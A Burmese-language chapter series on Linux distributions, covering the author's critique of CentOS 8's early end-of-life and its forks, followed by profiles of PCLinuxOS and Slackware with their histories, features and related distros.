**၁၁.၁၂.၂၀၂၀ နောက်ဆုံးသတင်း။** ။ CentOS 8 ကို ၂၄ရက်နေ့ စက်တင်ဘာလ ၂၀၁၉ ခုနှစ်မှာ စတင် release လုပ်လိုက်ပြီး၊ သူနဲ့အတူ CentOS 8 Stream ဆိုပြီး CentOS 8 ရဲ့ rolling release distro တစ်ခုအနေနဲ့ စတင်မိတ်ဆက်ပေးလိုက်ပါတယ်။ စတင်မိတ်ဆက်ပေးတုန်း ကတည်း Fedora ရှိပြီးသားကို ဘာဖြစ်လို့များ rolling release တစ်ခုထပ်ပေါင်းထည်းသလဲဆိုပြီး ကြောင်တောင်တောင်ဖြစ်သွားတဲ့ အထိပါပဲ။ Red Hat ဘက်က developer တွေအတွက် testing နဲ့ feedback loop မှာ ပိုပြီးတော့ တွင်ကျယ်အောင်၊ transparent ဖြစ်အောင်ဆိုပြီး ထည့်ပေါင်းပေးလိုက်တဲ့ Fedora နဲ့ RHEL ကြားမှာထားဖို့အတွက်၊ RHEL ရဲ့ upstream project တစ်ခုအနေနဲ့သာထားဖို့အကြောင်းကို သေချာရှင်းပြသွားပါတယ်။ စာရေးသူလိုမျိုး production မှာကော အိမ်မှာပါ stable ဖြစ်တဲ့ Linux server တစ်လုံး တည်ဆောက်တိုင်း CentOS ကိုပဲ အသဲစွဲပြီး သုံးတဲ့ CentOS die hard fan တစ်ယောက်အနေနဲ့တော့ တော်တော်လေးကို စိတ်ပျက်စရာပါ။ Ubuntu ရဲ့ LTS ထက်တောင်မှ CentOS ကို အမြဲဦးစားပေး ရွေးချယ်အသုံးပြုတတ်တာကြောင့် CentOS 6 နဲ့ 7 ကို production server တွေအနေနဲ့ အလုပ်မှာတော်တော်လေး အသုံးပြုထားပါတယ်။ Ubuntu 18.04 LTS box တွေကိုတောင် 20.04 LTS ဆီကို ပြီးခဲ့တဲ့ ၃၊ ၄ လအတွင်းမှာ upgrade လုပ်ဖြစ်သည့်တိုင်အောင်၊ CentOS 7 box တွေကို 8 ဆီကို ပြောင်းဖို့အတွက်တော်တော်လေး ဝန်လေးနေမိပါတယ်။ Staging လုပ်ကြည့်သမျှတော့ CentOS 7 မှာလက်ရှိ အသုံးပြုနေတဲ့ binary တွေနဲ့ package တွေကို 8 ထည့်တွင်း ကြည့်တော့ အဆင်မပြေတာတွေလည်း အများကြီးရှိနေတာမို့ ဒီအတိုင်းထားလိုက်ဖို့ဖြစ်လာပါတော့တယ်။ CentOS 7 ရဲ့ End Of Life (EOL) က ၂၀၂၄ခုနှစ် အလယ်မှာဖြစ်ပါတယ်။

ဒီအပတ်ထဲမှာ (၈ရက်နေ့ ဒီဇင်ဘာလ ၂၀၂၀ခုနှစ်) Red Hat ရဲ့ CTO Chris Wright နဲ့ CentOS ရဲ့ Community Manager Rich Bowen တို့ပေါင်းပြီး CentOS 8 ကို နောက်နှစ်ကုန် ၂၀၂၁ခုနှစ်အကုန်ထိပဲ support လုပ်တော့မယ်လို့ သတင်းထွက်လာပါတယ်။ ပြောသွားတာက CentOS 8 Stream ကို RHEL ရဲ့ upstream အနေနဲ့ ထားသွားမှာဖြစ်တဲ့အတွက် လူအင်းအားနဲ့ ငွေအားနှစ်ခုလုံးကို Stream ဘက်မှာပဲအားလုံးသုံးသွားချင်လို့ CentOS 8 ကို ရပ်လိုက်ရခြင်းဖြစ်ကြောင်း ဆိုသွားပါတယ်။ စာရေးသူအနေနဲ့ တော့ IBM Big Blue ကြီး Red Hat ကို ပြီးခဲ့တဲ့ နှစ်က ဝယ်ကတည်းကိုက သိပ်ပြီးတော့ ဘဝင်မကျလှပါဘူး။ အပြောင်းအလဲ ကြီးကြီးမားမား ဖြစ်တော့မယ်လို့တော့ မှန်းထားပြီးသားပါ။ ကြောင်ကြာကြာရေမငုပ်ပါဘူး၊ အခုတော့ ရုပ်လုံးပေါ်လာပြီလို့ ဆိုရင်တော့ ကြွားလွန်းတယ်မထင်ပါ။ ဒီနေရာမှာ မပြောလို့ မပြီးတဲ့ EEE ကိစ္စနည်းနည်း လမ်းကြုံလို့ ရှင်းပါရစေတော့။

* **Embrace** ဆိုသည်မှာ IBM ဟာ Red Hat ကို independent entity အနေနဲ့ထားမယ်လို့ ဝယ်တုန်း အတန်တန်ဆိုခဲ့ပြီး၊ opensource ကိုမြတ်နိုးသယောင်ဆောင်ခဲ့လေသလားဆိုတာ မပြောတတ်ဘူး။ အခုလိုမျိုး RPM မှာ stable release အနေနဲ့ ရပ်တည်နေတဲ့ CentOS လိုမျိုး project ကိုချက်ချင်းရပ်လိုက်တာဟာ IBM ရဲ့ ဆုံးဖြတ်ချက် မပါဘူးလို့ ငြင်းအုံးမှာလား။ ကြိုက်တဲ့ဘက်ကနေရှင်း အဖြေဟာ လယ်ပြင်မှာ ဆင်သွားသလို ထင်ရှားလို့သာနေပါတော့တယ်။ မပြေးသော်လည်း ကန်ရာတွေများလာတော့ မှန်းဆလို့ရသမျှတော့ မှန်းထားတွေးထား ပြီးသားပါ။
* **Extend** ဆိုသည်မှာက မလိုအပ်ပါပဲနဲ့ CentOS 8 Stream ကိုထည့်ပေါင်းမိတ်ဆက် ပေးလိုက်ကတည်းက စိတ်ထဲမှာ ကန့်လန့်ကြီးဖြစ်လို့ နေပါတော့တယ်။ ကိုယ်တိုင်းလည်း ဘယ်လိုမျိုး အနေအထားမျိုးမှာမှ CentOS 8 Stream ကိုသုံးမယ်လို့ စဉ်းစားလို့ မရပါ။ RHEL ရဲ့ stable ဖြစ်နေနဲ့ Enterprise Feature အရသာကို Community based မှာ လွတ်လပ်စွာ သုံးလို့ရနေမှတော့၊ Stream ဟာ ဟိုမရောက် ဒီမရောက် distro တစ်ခုလို့သာမြင်ပါတယ်။ သို့ပေမယ့်လည်း Extend အဆင့်မှာ တစ်ခုတော့ ပေါင်းထည့် ပြောင်း ထည့်ရတဲ့ formula ရှိပြီးသားမို့ Stream ကိုထည့်ပေါင်းလိုက်ပါတော့တယ်။
* **Extinguish** ဆိုသည်ကတော့ မြင်တဲ့အတိုင်း နေ့တွင်းညတွင်းချင်းမှာ CentOS stable distro ကို အရှင်လတ်လတ်မြေမြုပ် သတ်ပစ်လိုက်ပြီး စတင်မိတ်ဆက်တုန်းက Stream ကို rolling release လို့သူတို့ပဲ ပြောပြီး အခုကြမှ လေသံပြောင်းလာပါတယ်။ ဒီအပတ်ထဲမှာ Red Hat နဲ့ CentOS ကလူကြီးများဟာဆိုရင်ဖြင့် Stream ကို rolling release လို့မခေါ်သင့်ပဲနဲ့ Continuous Delivery လို့ခေါ်မှသာမှန်နိုင်မယ်လို့ ဆိုတော့ကာ၊ ဘာကို ယုံလို့ ဘာကို အမှန်လို့ သတ်မှတ်ပေးရပါ့မလဲ။ ဉာဏ်ရှိတိုင်းသာ စဉ်းစားတွေးခေါ် ဆုံးဖြတ်ကြစေအုံးတော့။

### CentOS Stable မရှိတော့တဲ့နောက်

Red Hat က CentOS stable ကိုရပ်လိုက်ပြီလို့ဆိုကတည်းက သူ့ကနေထပ်ပြီးခွဲထွက်လာတဲ့ distro တွေရှိပါတယ်။ အထူးသဖြင့် အထင်ကရထဲမှာဆိုရင် AlmaLinux နဲ့ Rocky Linux နှစ်ခုရှိပါတယ်။ သူတို့နှစ်ခုလုံးမှာ enterprise support system ကိုယ်ဆီရှိသော်လည်း၊ Rocky Linux မှာက community driven ပိုဖြစ်တာ ကြောင့် လူကြိုက်များ အသုံးများမယ်လို့ ထင်ပါတယ်။ အခု ဒီစာကိုရေးနေတဲ့ အချိန်မှာ RHEL 10 ထွက်နေပြီမို့၊ AlmaLinux 10 နဲ့ Rocky Linux 10 တို့လည်း ကိုယ်ဆီထွက်လာကြပါပြီ။


# လူသုံးများ ရေပန်းစားသော GNU/Linux Distro များ အပိုင်း (၉)

**၉. PCLinuxOS**

ဒီ PCLinuxOS ကိုတော့ PCLOS လို့လည်းသိထားကြပါတယ်။ အတိုကောက် PCLOS လို့ခေါ်ဆိုထားခြင်းဖြစ်ပါတယ်။ PCLOS ကတော့ Mandrake Linux (နောက်ပိုင်း Mandriva Linux အခုတော့ Mageia လို့ သိထားတဲ့ distro တစ်ခုဖြစ်ပါတယ်။ အရှေ့အပိုင်းတစ်ခုမှာလည်း Mageia အကြောင်းကိုရေးပြီးသားဖြစ်တဲ့အတွက် ထပ်ပြီးတော့ အရှည်မရေးနေတော့ပါဘူး။) ကဆင်းသက်လာတဲ့ distro တစ်ခုဖြစ်ပါတယ်။ PCLinuxOS ကို Bill Reynolds ဆိုသူက ၂၀၀၃ခုနှစ်မှာ စတင်မိတ်ဆက်ပေး ခဲ့ပါတယ်။ သူကတော့ Mandrake Linux community မှာ အရင်တုန်းကတည်းက နာမည်ကြီးပြီးသား developer တစ်ယောက်ဖြစ်ပါတယ်။ Texstar ဆိုပြီးတော့လည်း community ကသူ့ကိုသိကြပါတယ်။ ၂၀၀၃ခုနှစ်မှာတော့ သူကိုယ်ပိုင်စပြီး PCLinuxOS ဆိုတဲ့ distro ကိုခွဲထွက်ခဲ့ပါတယ်။ ရည်ရွယ်ချက်ကတော့ Mandrake Linux 9.2 နည်းတူ အသုံးပြုရတာလွယ်ကူတဲ့ distro ဖြစ်မြောက်ဖို့ကိုရည်ရွယ်ပြီးတော့ PCLinuxOS ကိုစခဲ့တာပါ။ desktop user တွေအတွက်အသုံးဝင်မည့် feature တော်တော်များများကိုလည်းထည့်ပေးထားခဲ့တဲ့အတွက် desktop အတွက်တော့အဆင်တော်တော်ပြေပါတယ်။ ဒါအပြင် Mandrake Linux က Control Center နဲ့ခပ်ဆင်ဆင် tool တွေကိုလည်းပါအောင်ထည့်ပေးထားတဲ့အတွက် Mandrake Linux ကနေပြီးပြောင်းသုံးချင်တဲ့သူတွေအတွက်လည်း အဆင်ပြေပါတယ်။ Linux ကိုစသုံးတဲ့ သူတွေအတွက်လည်းလွယ်ကူအောင်လို့installation ကနေ configuration tool တွေအထိ အရိုးရှင်းဆုံးနဲ့အလွယ်ဆုံးဖြစ်အောင်လို့လည်းရေးထားတဲ့ distro တစ်ခုပါ။ PCLinuxOS ကတော့ Red Hat ရဲ့ RPM ကို package manager အဖြစ်အသုံးပြုထားပြီး Debian ရဲ့ APT ကိုတော့ package management system ကို terminal မှာသုံးပြီး၊ Synaptic ကိုတော့ graphical package management အနေနဲ့သုံးထားပါတယ်။ KDE ကိုတော့ နဂိုအတိုင်း desktop environment အနေနဲ့ထည့်ထားပေးပါတယ်။ တခြား DE တွေနဲ့လည်း လာတဲ့ variant တွေလည်းရှိပါတယ်။ ဒါပေမယ့် PCLinuxOS ရဲ့ website ကနေပြီး download လုပ်မယ်ဆိုရင်တော့ လက်ရှိ KDE Desktop၊ Full Monty Desktop နဲ့MATE Desktop ဆိုပြီးတော့ ရှိပါတယ်။ ကိုယ်ကြိုက်တဲ့ DE ကိုရွေးပြီး download ဆွဲလိုက်ရုံပါပဲ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-38bc2bb0c9eee717f6cb8f20c4f71604047b1833%2Ftexstar.jpg?alt=media" alt=""><figcaption></figcaption></figure>

PCLinuxOS ရဲ့ ပြဿနာကတော့ rolling release ဖြစ်ပေမယ့် သေချာသတ်မှတ်ချက်မရှိတဲ့ release cycle နဲ့ထုတ်ပြီး၊ နောက်မှာဘာတွေဆက်လုပ်ရမယ် လုပ်ငန်းစဉ်နဲ့ပတ်သတ်ပြီး ဘာမှရေရေရာရာမရှိပါဘူး။ Project ကဦးတည်ချက်မရှိသလိုမျိုးဖြစ်နေပါတယ်။ အဲ့ဒါကြောင့် stable ဖြစ်နိုင်မဖြစ်နိုင်ဆိုတာကတော့ မေးခွန်းထုတ်စရာတစ်ခုဖြစ်လာပါတယ်။ တဘက်မှာလည်း PCLinuxOS ရဲ့software repository ကတနေ့တခြားတိုးပွားလာလို့နေပါတယ်။ Update တွေကိုလည်း တခြား distro တွေနဲ့ရင်ဘောင်တန်းနိုင်အောင်လို့ လိုက်တော့ထုတ်ပါတယ်။ အဲ့ဒီလို stable ဖြစ်လား မဖြစ်လား update ကို ထုတ်သင့်သလား version အသစ် release လုပ်သင့်သလားဆိုတဲ့ ဆုံးဖြတ်ချက်တွေကတော့ Texstar လို့ခေါ်တဲ့ Bill Reynolds ပေါ်မှာမူတည်ပါတယ်။ နောက်ပြီး အခုနောက်ပိုင်း ထုတ်တဲ့ release တွေမှာဆို 64-bit platform ကိုပဲထုတ်ပါတော့တယ်။ 32-bit platform ကိုအရင်ကတော့ထုတ်ခဲ့ပေမယ့် နောက်ပိုင်းမှာတော့ မထုတ်တော့ပါဘူး။ Linux မှာဘယ် distro ကိုမဆိုသုံးတော့မယ်ဆိုရင် 64-bit ကိုသာရွေးချယ်သင့်ပါတယ်။ လက်ရှိသုံးနေတဲ့ computer တွေ laptop တွေက 64-bit နဲ့အလုပ်လုပ်တာများပါတယ်။ CPU တွေက hybrid တွေဖြစ်ကုန်ပါပြီ။ RAM က 2 GB ပဲရှိတယ်ဆိုရင်တောင်မှ 64-bit ကိုသာသုံးသင့်ပါတယ်။ ဘာလို့လဲဆိုတော့ အခုနောက်ပိုင်း software တွေ package တွေက 64-bit platform မှာအကုန်လုံးနီးပါး အလုပ်လုပ်ပါတယ်။ 32-bit မှာတော့ တချို့software တွေ package တွေကပြဿနာပေးနိုင်ပါတယ်။ Support မလုပ်တာတွေတောင် ရှိလာပါပြီ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-86f44e05c1d2d1da7bf860cb7df377afea069633%2F500px-PCLinuxOS_logo.svg_-300x300.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-9236c574aea11c4e4a312120d9a3fe5978864e6a%2Fpclinuxos-768x614.png?alt=media" alt=""><figcaption></figcaption></figure>

**PCLinuxOS ရဲ့ အားသာချက်များ**

hardware driver တော်တော်များများကို install လုပ်လုပ်ပြီးချင်း detect ဖြစ်ပါတယ်။ အဲ့ဒီတော့ driver တွေကိုတစ်ခုပြီး တစ်ခုလိုက်ရှာပြီး ထပ်ပြီး install လုပ်စရာမလိုပါဘူး။ ချက်ချင်း သုံးလို့ရပါတယ်။ လူသုံးများ broswer plugin တွေနဲ့အသုံးဝင်မယ့် application တော်တော်များများကို နဂိုအတိုင်းထည့်ထားပေးပါတယ်။ rolling release ဖြစ်တဲ့အတွက် update တွေကိုလည်းလိုရင်လိုသလို ရနေမှာပါ။ Ubuntu တို့Mint တို့လိုလည်းသုံးရတာ လွယ်ကူတဲ့အတွက် Linux စသုံးသူတွေအတွက် အခက်အခဲမရှိနိုင်ပါဘူး။ Control Center လို tool တွေကလည်း user experience ကို အများကြီးလွယ်ကူအောင် အထောက်အကူပြုမှာ တော့သေချာပါတယ်။

**PCLinuxOS နဲ့ဆင်တူတဲ့ distro များ**

KDE, KDE Full Monty, KDE Minime, LXDE, LXDE Mini, Openbox, Openbox Bonsai, Phinx, Phoenix for 32-bit (i586) processor architectures, KDE for 64-bit (x86\_64) processor architectures တို့ဖြစ်ပါတယ်။

**လက်ရှိ PCLinuxOS ရဲ့ version/release**

လက်ရှိမှာတော့ ၈ရက်နေ့မတ်လ ၂၀၁၆ခုနှစ်မှာထုတ်တဲ့ PCLinuxOS 2016.3 ဖြစ်ပါတယ်။ ရှေ့မှာပြောခဲ့သလို release cycle ကတော့သေချာသတ်မှတ် မထားပါဘူး။ ဟိုအရင်က တချို့ release တွေမှာ code name တွေရှိခဲ့ပေမယ့်နောက်ပိုင်းမှာတော့ ထုတ်တဲ့ နှစ်နဲ့လတို့ကိုသာ release version တွေအနေနဲ့အသုံးပြုပါတော့တယ်။


# လူသုံးများ ရေပန်းစားသော GNU/Linux Distro များ အပိုင်း (၁၀)

**၁၀. Slackware Linux**

Slackware Linux ဆိုတာကတော့ ရှေးဟောင်းအကျဆုံးနဲ့လက်ရှိအချိန်ထိ ခိုင်ခိုင်မာမာ ရပ်တည်နေတုန်းဖြစ်တဲ့ distro တစ်ခုဖြစ်ပါတယ်။ Slackware ကိုတော့ Patrick Volkerding ဆိုတဲ့ Computer Science သင်ကြားနေတဲ့ ကျောင်းသားတစ်ယောက်က ၁၉၉၂ခုနှစ်မှာ စတင်လိုက်တာပါ။ စလုပ်တုန်းကတော့ သူ့ရဲ့ရည်ရွယ်ချက်က Slackware ဆိုတဲ့ distro ကိုရေးဖို့မဟုတ်ပါဘူး။ ကျောင်းမှာ project တစ်ခုကိုသူ့ရဲ့ professor ကအလုပ်ခိုင်းရင်းနဲ့ဖြစ်လာတဲ့ distro ပါ။ အဲ့ဒီ အချိန်တုန်းက GNU/Linux ရဲ့distro တွေမှာရွေးစရာမရှိသလို အိမ်သုံး PC ဆိုတာမျိုးကလည်း အရမ်းကြီးခေတ် မစားသေးပါဘူး။ စျေးတွေကလည်း ကြီးနေတုန်းပါ။ Softlanding Linux System (SLS) ဆိုတဲ့ distro ကို Linux သမားတော်တော်များသုံးကျပုံရပါတယ်။ Patrick Volkerding ကလည်း သူ့ကျောင်း project အတွက် SLS ကိုသုံးပြီး professor နဲ့လိုအပ်တာတွေကို ပြင်ဆင်ရေးနေတဲ့ အချိန်မှာပါပဲ အမှတ်မထင် သူ့ရဲ့ပြင်ဆင်ချက်တွေက အိမ်သုံး PC တွေ ကျောင်းက PC တွေမှာအလွယ်ကူဆုံး install နဲ့configure လုပ်လို့ရမယ့် bug fix တွေဖြစ်လာပါတယ်။ သူကိုယ်တိုင်လည်း အဲ့ဒီပြင်ဆင်ချက်တွေဟာ သူ့ကျောင်း project အတွက်သာပြင်ဆင်ထားပြီး အပြင်မှာအသုံးပြုလို့ရလောက်အောင် မကောင်းနိုင်ဘူးလို့ပဲ ယူဆထားခဲ့ပါတယ်။ SLS ကနောက်ထွက်မဲ့ release မှာသူပြင်ထားသလောက်တော့ bug fix တွေပါမယ်၊ dependencies ကိုအဆင်ပြေအောင်ပြင်ဆင်ပေး လာလိမ့်မယ်လို့သူ ထင်ခဲ့ပါတယ်။ အဲ့ဒီတော့ သူ့ရဲ့ ပြင်ထားတဲ့ code ကို public ကိုမပေးသေးပဲ နောက်ထွက်မယ့် SLS release ကိုစောင့်နေခဲ့ပါတယ်။ လက်တွေမှာတော့ SLS ရဲ့ နောက် release မှာလည်း ထင်ထားသလို ဖြစ်မလာပါဘူး။ သူ version ကတောင် ပိုကောင်းနေသေးတဲ့ အတွက် Patrick Volkerding တစ်ယောက် သူ့သူငယ်ချင်းတစ်ယောက်ရဲ့ တိုက်တွန်းချက်ကြောင့် source code ကို public ကို ချပြဖို့အကြောင်းဖြစ်လာပါတော့တယ်။ အဲ့ဒါကြောင့် သူ့ကျောင်းရဲ့ FTP server ပေါ်မှာတင်ပေးလိုက်တာ download ဆွဲတဲ့ လူတွေက များလွန်းလို့server တောင် crash ဖြစ်လွန်းလို့FTP ကို upgrade လုပ်ရတဲ့ အထိဖြစ်လာပါတော့တယ်။ SLS ကြောင့်ပဲ Ian Murdock တစ်ယောက် စိတ်ပျက်လက်ပျက်နဲ့ Debian project ကိုစဖြစ်သွားတာပါ။ အဲ့ဒီတော့ SLS ကိုအဆိုးထဲကအကောင်း ပြန်ရှာတော့ SLS ကြောင့် Slackware လို့solid ဖြစ်တဲ့ distro ထွက်လာတယ်။ သူ့ကြောင့်ပဲ Debian ဖြစ်လာတယ်လို့တောင်ဆိုလို့ရပါတယ်။ နောက်ပိုင်းမှာ SLS ကလုံးဝကို ပျောက်သွားပါတော့တယ်။ Slackware ကတော့ အခုထိတိုင်အောင် ရှေ့ရိုးမပျက် Unix-like ပုံစံကို ဆက်လက်ထိမ်းထားဆဲပါ။ SUSE Linux နဲ့openSUSE distro တွေကတော့ Slackware ကို အခြေခံပြီးပြန်ရေးထားတဲ့ နာမည်ကြီး distro တွေဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-cc66bc1a50ae6efc86601311fca394a026713b08%2FPvolkerding.jpg?alt=media" alt=""><figcaption></figcaption></figure>

တစ်ခုရှိတာကတော့ Slackware ကသူ့ရဲ့ release ကို ဂရုတစိုက် ပုံမှန်လိုက်ထုတ်တာ မဟုတ်တာကြောင့် Linux သမားတွေက Red Hat ထွက်လာတဲ့ အချိန်မှာ Red Hat ကိုလိုက်ကြပါတော့တယ်။ Slackware မှာတော့ အခုချိန်ထိ ဂိတ်စောင့်အနေနဲ့Patrick Volkerding ကရှိနေဆဲပါ။ သူကပဲ Slackware အတွက် ဆုံးဖြတ်ချက်တော်တော်များကို ချနေရတုန်းပါ။ နောက်ပိုင်း install လုပ်ရတာကော အသုံးပြုရတာလွယ်တဲ့ distro တွေထွက်လာတဲ့အချိန်မှာတော့ Slackware က desktop မှာတော့ သိပ်ပြီးလူမသုံးတော့တဲ့ distro တစ်ခုဖြစ်လာပါတယ်။ Server တွေအတွက်တော့ Slackware ကိုတချို့နေရာတွေမှာတွေ့နေရဆဲပါ။ သို့သော်လည်း Debian တို့CentOS တို့server မှာကောင်းပြီးနာမည်ရလာတဲ့ distro တွေရှိလာတာကြောင့်လည်း Slackware အတွက်စျေးကွက်ကို ထိုးဖောက်ဖို့တော်တော်လေးကို ခက်လာပါတော့တယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-1c8443000e30419c4a84931be077597c9236a82b%2FSlackware_Logo_alt-150x150.jpg?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ad7004f9c1b7424fa130c4164842a065de434c3a%2FSlackware-mascot.svg_.png?alt=media" alt=""><figcaption></figcaption></figure>

Linux သမားတွေ ပြောနေကြစကားတစ်ခုရှိပါတယ်။ Red Hat အကြောင်းသိချင်ရင် သင်ကြားချင်ရင် Red Hat ကိုသုံးပါတဲ… အဲ… Linux အကြောင်းသိချင်ရင် လေ့လာလိုရင်တော့ Slackware သုံးရမယ် လေ့လာသင့်တယ်လို့ဆိုပါတယ်။ ဟုတ်ပါတယ်… Slackware က Arch Linux လိုပဲ beginner တွေအတွက် မဟုတ်ပါဘူး။ Install လုပ်ကတည်း Unix-like တို့ရဲ့flavour ကိုအခုချိန်ထိ သုံးထားဆဲပါ။ ၂၀၀၀ခုနှစ်လောက်တုန်းကထွက်တဲ့ Slackware ရဲ့ installation လုပ်ရပုံနဲ့အခုနောက်ဆုံးထွက်တဲ့ Slackware 14.2 နဲ့ဘာမှသိပ်မကွာပါဘူး။ Graphical interface မဟုတ်ပဲ terminal command line ကနေ install လုပ်ရမှာပါ။ Arch နဲ့ philosophy ပိုင်းမှာသွားတူပါတယ်။ Keep it simple, stupid (KISS) ဆိုတဲ့ simplicity ကိုဦးစားပေးတဲ့ နေရာမှာကော Read the fucking manual (RTFM) ဆိုတဲ့နေရာမှာပါ သွားတူပါတယ်။ Slackware မှာလည်း Arch လို wiki ကောင်းကောင်းရှိပါတယ်။ Arch နဲ့ Slackware ကွာခြားချက်လေးတွေတော့အနည်းအကျဉ်းရှိပါတယ်။ ဥပမာ Arch မှာဆိုကိုယ် install လုပ်ချင်တဲ့ package နာမည်တွေနဲ့install လုပ်တဲ့ tool တွေကို command တွေကနေပြီး အကုန်ရိုက်ထည့်ဖို့သိထားရပါမယ်။ ခက်လှတယ်လို့လည်း မဟုတ်ဘာဘူး Arch ရဲ့wiki မှာ command တွေကိုဖော်ပြပေးထားပြီးသားပါ။ ကိုယ်ဘာလုပ်ချင်တာလဲ ဆိုတာသိဖို့တော့လို ပါတယ်။ Slackware ကတော့ install လုပ်တဲ့အခါမှာ command line ဆိုပေမယ့်လည်း text-based command selection တွေကို guide အနေနဲ့arrow key တွေသုံးပြီး ရွေးချယ် install လုပ်ရတဲ့ အတွက် Arch လောက်တော့ မခက်ခဲဘူးလို့စာရေးသူမြင်ပါတယ်။ သို့ပေမယ့်လည်း command တွေနဲ့ကိုယ်ဘာတွေ install လုပ်ချင်တာကိုတော့ သိရပါမယ်။ command တွေကတော့ ရိုက်ထည့်နေရတုန်းမှာဖြစ်ပါတယ်။ Slackware က Arch မှာလိုပဲ boot တက်ရင် terminal CLI အရင်ရောက်ပြီးမှာ desktop လိုချင်ရင် startx ဆိုတဲ့ command နဲ့X display driver protocol ကို run ပေးရပါတယ်။ အဲ့ဒါမှကိုယ် install လုပ်ထားတဲ့ desktop environment ကိုတက်ပေးပါတယ်။ script ရေးပြီးတော့ startup မှာ desktop ကိုတက်ချင်ရင်တော့လည်းရပါတယ်။ အခုနောက်ပိုင်းတော့ Microsoft က server တွေမှာ core ကို install လုပ်ပြီးရင် desktop လိုချင်ရင် install လုပ်ပြီး powershell ကနေ command သုံးပြီး desktop ကိုတက်တာကတော့ Unix နဲ့Linux ကပုံစံမျိုးလိုက်လုပ်တဲ့ သဘောပါ။ Linux မှာတော့ အဲ့ဒါဟာ အထူးအစမ်း မဟုတ်ပါဘူး အရင်ကတည်းရှိတဲ့ principle ပါ။ Microsoft ကတော့ အဲ့လိုမျိုးကိုလိုက်ပြီး လုပ်ပါတယ်အခုနောက်ပိုင်းမှာ။ Microsoft ရဲ့ powershell ကိုရေးတဲ့ software architect ကိုယ်တိုင်က Linux သမားပါ။ အဲ့ဒါကြောင့်လည်း Linux command တော်တော်များများကို powershell မှာ alias တွေအနေနဲ့ထည့်ထားပေးပါတယ်။ ls ဆိုတဲ့ Linux command ကို powershell မှာသုံးလို့ရပါတယ်။ အဲ့ဒီ command ကတော့ Windows command dir ရဲ့ alias ဖြစ်ပါတယ်။ စိတ်ဝင်စားလို့ ရှာကြည့်ရင်အလွယ်တကူတွေနိုင်ပါတယ်။ Microsoft က သူရဲ့cmd ကို default command prompt အနေနဲ့မသုံးတော့ပဲ powershell ကိုသာသုံးမယ်လို့ကြားသိရပါတယ်။ powershell အကြောင်းကိုတော့ နောက်များအချိန်ရခဲ့လို့ ရှိရင် ရေးဖြစ်မယ်ထင်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-e40ccfe708e532929b0539b8978ba1a47e3d071a%2Fslackware-768x614.png?alt=media" alt=""><figcaption></figcaption></figure>

**Slackware Linux ရဲ့ အားသာချက်များ**

Slackware ကတော့ Linux distro တွေထဲမှာဆို solid ဖြစ်တယ်လို့လူသိများပါတယ်။ ပြိုင်ဆိုင်မူကင်းမဲ့ပြီး stable ဖြစ်ဖို့နဲ့simple ဖြစ်ဖို့ကိုသာ ဦးစားပေးတဲ့ အတွက် sysadmin တွေအကြိုက်တွေ့ကြပါတယ်။ release cycle ကဗြောက်တောက်ဖြစ်နေပေမယ့်လည်း bug ကလည်းသိပ်မရှိဘူးလို့ဆိုပါတယ်။ ရှေးရိုးစွဲ Unix ရဲ့ ဘောင်ထဲကနေမထွက်ပဲ အခုချိန်ထိ Unix-like OS တို့ရဲ့ classic flavour ကိုဆက်လက်သုံးစွဲနေတဲ့ distro ဖြစ်ပါတယ်။ Linux သမားကြီးတွေတော့ ကြိုက်မှာသေချာပါတယ်။ Linux စသုံးတဲ့ user တွေအတွက်တော့ ခေါင်းနည်းနည်းစားပါမယ်။ Installation ကစလို့configure၊ package management၊ customization နဲ့တခြားဟာတွေအားလုံး text-based config တွေကို edit လုပ်ပြီးပြင်ဆင်ရတဲ့အတွက် ဇာတ်တော့နည်းနည်းရှုပ်ပါမယ်။ Community နဲ့wiki ကောင်းကောင်းရှိပါတယ်။ ဒါပေမယ့် Ubuntu တို့လိုတော့ official support ကောင်းကောင်းမရှိပါဘူး။ အကုန်လုံးနီးပါးက Do It Yourself (DIY) ဆိုတာများတွေများပါလိမ့်မယ်။

**Slackware Linux နဲ့ဆင်တူ distro များ**

Zenwalk Linux (desktop), Salix (desktop, live CD), Porteus (live CD with KDE, LXDE, MATE, Razor-qt or Xfce), VectorLinux (desktop) တို့ဖြစ်ကြပါတယ်။ Slackware ကိုယ်တိုင်ကိုက highly customize လုပ်လို့ရတဲ့ အတွက် တခြားဆင်တူ distro တွေကိုတောင်လိုက်ပြီး မြည်းကြည့်စရာလိုမယ် မထင်ပါဘူး။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-9869cd86cf7e48d5612369c2499ba377d5249072%2F800px-SlackwareFamilyTree1210.svg_.png?alt=media" alt=""><figcaption></figcaption></figure>

**လက်ရှိ Slackware Linux release/version**

Slackware ရဲ့ လက်ရှိ release ကတော့ Slackware 14.2 ဖြစ်ပါတယ်။ အောက်ကပုံကတော့ Slackware ရဲ့ release cycle နဲ့ထွက်ပြီး release တွေရဲ့ထုတ်တဲ့ ခုနှစ်တွေကိုဖော်ပြထားတဲ့ပုံဖြစ်ပါတယ်။

